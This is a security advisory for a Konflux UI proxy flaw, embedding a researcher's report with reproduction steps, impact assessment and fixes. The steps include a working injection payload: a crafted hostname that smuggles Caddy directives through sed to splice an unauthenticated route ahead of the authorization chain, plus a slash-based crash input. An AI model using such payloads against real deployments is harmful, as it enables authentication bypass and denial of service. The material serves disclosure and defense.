CVE-2026-125637: Konflux-ci: unvalidated hostname fields enable caddyfile config injection in the konflux ui proxy generator, allowing an unauthenticated route to be spliced ahead of the forward_auth/impersonate authorization chain
A flaw was found in the Konflux UI proxy. Hostname values defined in the KonfluxUI custom resource are inserted directly into proxy configuration files without adequate validation or sanitization. An authenticated user with permissions to modify the custom resource can inject malicious configuration directives to bypass authentication and authorization controls, potentially exposing internal backend services. In addition, providing malformed input can cause the configuration generator to fail, resulting in a denial of service (DoS) by preventing the proxy from starting.
Other sources
Reported by an upstream user to konflux-sec
~~~Start Report~~~
Security Report: Konflux UI Proxy — Caddyfile Config Injection via Unvalidated Hostname Fields Title Unvalidated hostname fields enable Caddyfile config injection in the Konflux UI proxy generator, allowing an unauthenticated route to be spliced ahead of the forwardauth/impersonate authorization chain Reporter Details: Github: abhi04anon Linkedin: https://www.linkedin.com/in/abhirup-sarkar-/ Technical Description: generate-proxy-config.sh (and its duplicated copy embedded in operator/pkg/manifests/ui/manifests.yaml) builds the UI proxy's live Caddyfile by running unvalidated hostname values through sed: hostname="${KITEHOSTNAME:-konflux-kite.konflux-kite.svc.cluster.local}" sed "s/KITEHOSTNAME/${hostname}/g" "${TEMPLATESDIR}/kite.caddy" > "${SNIPPETSDIR}/kite.caddy" Four near-identical call sites do this for KITEHOSTNAME, KUBEARCHIVEHOSTNAME, WATSONHOSTNAME, and TEKTONRESULTSHOSTNAME. Source of the tainted value: spec.{tektonResults,kite,kubeArchive,watson}.hostname on the KonfluxUI custom resource, propagated to the proxy init container's env vars in operator/internal/controller/ui/konfluxuicontroller.go (WithOptionalEnvOverride / WithEnvOverride) with no format or charset validation in the CRD schema. Sink: the generated snippet file is import-ed directly into the main Caddyfile via import /mnt/caddy-snippets/.caddy. That Caddyfile is the sole enforcement point for forwardauth 127.0.0.1:6000 (oauth2-proxy) → impersonate before any request reaches the Kubernetes API or an internal backend (Tekton Results, KubeArchive, Kite). Because the substituted value becomes live Caddy syntax, not inert text, a value containing GNU-sed-escaped newlines (\<newline>, sed's own syntax for a literal newline in a replacement) plus Caddy directives is parsed as real configuration structure. This lets an attacker close the authenticated route { } block early and splice in a new, matcher-less, unconditional route — one that never passes through forwardauth/impersonate.
A simpler variant exists too: any value containing a literal / collides with sed's own s/.../.../
delimiter and crashes the generator outright (sed: unknown option to 's') — a denial-of- service on proxy startup, independent of the structural-injection path.
Why existing CI tooling misses it: the repo runs differential-shellcheck, but the variable is correctly quoted ("${hostname}"); shellcheck has no model of "this string becomes a second
file's syntax," so there is nothing for it to flag. This is a semantic/cross-file bug, not a shell- quoting bug.
Root cause class: CWE-94 (Improper Control of Generation of Code — 'Code Injection') /
CWE-150 (Improper Neutralization of Escape, Meta, or Control Sequences), via unsafe text- templating of a security-enforcing config file. Secondary: CWE-20 (Improper Input Validation)
for the crash variant. Novelty check: searched the repository's issues/PRs, public GHSA/NVD sources, and the web for this file and bug class — found no existing report as of 2026-11-09. Affected Versions: Reproduced against konflux-ci/konflux-ci, main branch, v0.2.2: • operator/upstream-kustomizations/ui/core/proxy/generate-proxy-config.sh (lines ~40, 50, 58, 70) • operator/pkg/manifests/ui/manifests.yaml (lines ~273, 283, 291, 300 — embedded copy) Reproduction Steps: Minimal, fully offline uses a verbatim copy of the real template and, for step 3, the real upstream Caddy v2.8.4 binary: #!/bin/sh set -eu TEMPLATE="./tekton-results.caddy.tpl" # verbatim copy of the real template OUT="./tekton-results.caddy.generated"
1. Baseline — legitimate hostname produces a clean, correctly-nested route hostname="tekton-results-api-service.tekton-pipelines.svc.cluster.local" sed "s/TEKTONRESULTSHOSTNAME/${hostname}/" "$TEMPLATE" > "$OUT" cat "$OUT"
2. Crafted hostname — this is the project's actual vulnerable sed line, fed a value a KonfluxUI CR field has no validation to reject. Each \<newline> is GNU sed's own syntax for a literal newline in a replacement; no literal "/" is used since that would break sed's own delimiter first (see step 4). hostname='legit.svc.cluster.local\ }\ handle {\ respond "injected-unauthenticated-route" 200\ }\ route {\ reverseproxy 127.0.0.1:9 {'
sed "s/TEKTONRESULTSHOSTNAME/${hostname}/" "$TEMPLATE" > "$OUT" cat "$OUT"
3. Validate with Caddy's own parser (authoritative). impersonate/injectcachedvars are konflux's own custom Caddy modules (not in stock upstream Caddy, not vendored in this repo) — stripped for this parser-validation step only; nothing else in the generated output is altered. printf '{\n\tautohttps off\n}\n:9443 {\n' > full.Caddyfile sed -e '/^\simpersonate\s$/d' -e '/^\sinjectcachedvars\s$/d' "$OUT" >> full.Caddyfile printf '}\n' >> full.Caddyfile ./caddy adapt --config full.Caddyfile --adapter caddyfile
4. Simpler failure mode — a bare "/" crashes the generator outright.
hostname="tekton-results.example.com/evil" sed "s/TEKTONRESULTSHOSTNAME/${hostname}/" "$TEMPLATE" Output — step 2 (crafted value; note the early and spliced handle {}): handlepath /api/k8s/plugins/tekton-results/\ {\  route {\  forwardauth 127.0.0.1:6000 {\  uri /oauth2/auth\  headerup Authorization {http.request.header.Authorization}\  copyheaders X-Auth-Request-Email X-Auth-Request-Groups\  }\  impersonate\  injectcachedvars\  requestheader -Authorization\  reverseproxy https://legit.svc.cluster.local\  }\  handle {\  respond “injected-unauthenticated-route” 200\  }\  route {\  reverseproxy 127.0.0.1:9 {:8080 {\  ...\  }\  }\  } Output — step 3 (real Caddy parser, compiled JSON — the authoritative result): {"apps":{"http":{"servers":{"srv0":{"listen":[":9443"],"routes":[ {"match":[{"path":["/api/k8s/plugins/tekton-results/"]}], "handle":[{"handler":"subroute","routes":[
{"handle":[{"handler":"rewrite","strippathprefix":"/api/k8s/plugins/tekton-results"}]}, {"handle":[{"handler":"subroute","routes":[
{"handle":[{"body":"injected-unauthenticated- route","handler":"staticresponse","statuscode":200}]}
]}, {"handler":"subroute","routes":[{"handle":[ {"handler":"reverseproxy", "...forwardauth to 127.0.0.1:6000..."}, {"handler":"headers","request":{"delete":["Authorization"]}}, {"handler":"reverseproxy","upstreams":[{"dial":"legit.svc.cluster.local:443"}]} ]}]} ]}, {"handle":[{"handler":"subroute","routes":[{"handle":[ {"handler":"reverseproxy","upstreams":[{"dial":"127.0.0.1:9"},{"dial":"{:8080"}]} ]}]}]} ]}]} ]}}}}} Caddy's own compiler confirms the structural break: routes is an array evaluated in order, and the injected staticresponse handler ("injected-unauthenticated-route", HTTP 200) is its own unconditional sibling entry with no matcher — it sits ahead of the forwardauth/impersonate/reverseproxy chain, which has been demoted to a separate, later sibling route rather than the thing wrapping the whole request. Output — step 4 (DoS variant): sed: -e expression #1, char 59: unknown option to s’ Impact Assessment • Confidentiality / Integrity / Availability: an unconditional route can be spliced in ahead of the authentication/authorization gate for every backend this proxy fronts (Kubernetes API, Tekton Results, KubeArchive, Kite). Combined with the proxy ServiceAccount's existing cluster-wide impersonate grant on users/groups (operator/upstream-kustomizations/ui/core/proxy/rbac.yaml), a route that reaches the Kubernetes API without passing through forwardauth/impersonate first undermines the entire authorization model the proxy exists to enforce.
• Availability (secondary): a hostname value containing / crashes the config generator outright, preventing the UI proxy from starting at all. • Access required to trigger it: write access to the KonfluxUI CR's hostname fields.
Today that's effectively an admin-only surface, so this should be read as a defense-in- depth / input-validation gap rather than a pre-auth remote exploit — but that
framing can change quickly in GitOps pipelines or delegated-admin setups where CR fields are templated from less-trusted inputs.
• Estimated CVSS 3.1: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H → 9.1 (Critical), self- calculated and offered as a starting point for maintainer triage rather than an
authoritative score. Scope is Changed because the flaw in the config-generator component affects a different security authority (the Kubernetes-API authorization boundary enforced downstream); Privileges Required is High to reflect the CR-write prerequisite. Suggested Fix • Do not template security-enforcing syntax with sed against free-form strings. Either: o Validate each hostname field against a strict DNS-hostname regex (e.g., RFC 1123 label rules) in the CRD schema (+kubebuilder:validation:Pattern) and again defensively in the controller before it reaches the env var, rejecting anything else; or o Avoid text-templating entirely — have Caddy read the hostname at runtime via {env.KITEHOSTNAME} placeholders instead of baking the value into the file via sed.
• Separately, make the generator fail closed: if sed exits non-zero for any of the four substitutions, the init container should fail the pod rather than potentially emitting a partially-written or malformed snippet. Disclosure Status Not yet shared with the maintainers or any other party, and not published anywhere. Intended next step is private disclosure through the process listed in the project's SECURITY.md (github.com/konflux-ci/.github/blob/main/SECURITY.md). No conference or public-disclosure plans at this time; happy to follow whatever embargo/disclosure timeline the maintainers' security process specifies.
— Red Hat
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Validate spec.{tektonResults,kite,kubeArchive,watson}.hostname against a strict DNS-hostname format in the CRD and defensively again in the controller before placing the values in environment variables.
KonfluxUI CR hostname fields hostname validation = strict DNS-hostname regex (e.g., RFC 1123) - Configuration
Avoid text-templating security-enforcing Caddy syntax with sed; have Caddy read hostname values at runtime through environment placeholders such as {env.KITE_HOSTNAME}.
Konflux UI proxy configuration generator hostname templating = Caddy {env.*} placeholders - Configuration
If sed exits non-zero during any of the four hostname substitutions, fail the init container and prevent the proxy from starting rather than emitting a partially written or malformed snippet.
Konflux UI proxy configuration generator sed error handling = fail closed - Compensating control
Validate the generated configuration with Caddy's own parser before use, and reject it if parsing fails.
Event History
Frequently Asked Questions
Who needs to be able to act before this issue can be exploited?
An attacker needs authenticated access with permission to modify the KonfluxUI custom resource. They can use hostname fields in that resource to inject proxy configuration directives.
What is the practical impact of a successful configuration injection?
Injected directives can splice an unauthenticated route ahead of the proxy's forward_auth and impersonation authorization chain, potentially exposing internal backend services. Malformed hostname input can also prevent the proxy from starting, causing denial of service.
How can teams determine whether they may be exposed?
Review who has permission to modify KonfluxUI custom resources and inspect hostname values defined in those resources. Hostname values containing malformed input or configuration-like directives warrant investigation because they are inserted into proxy configuration files without adequate validation or sanitization.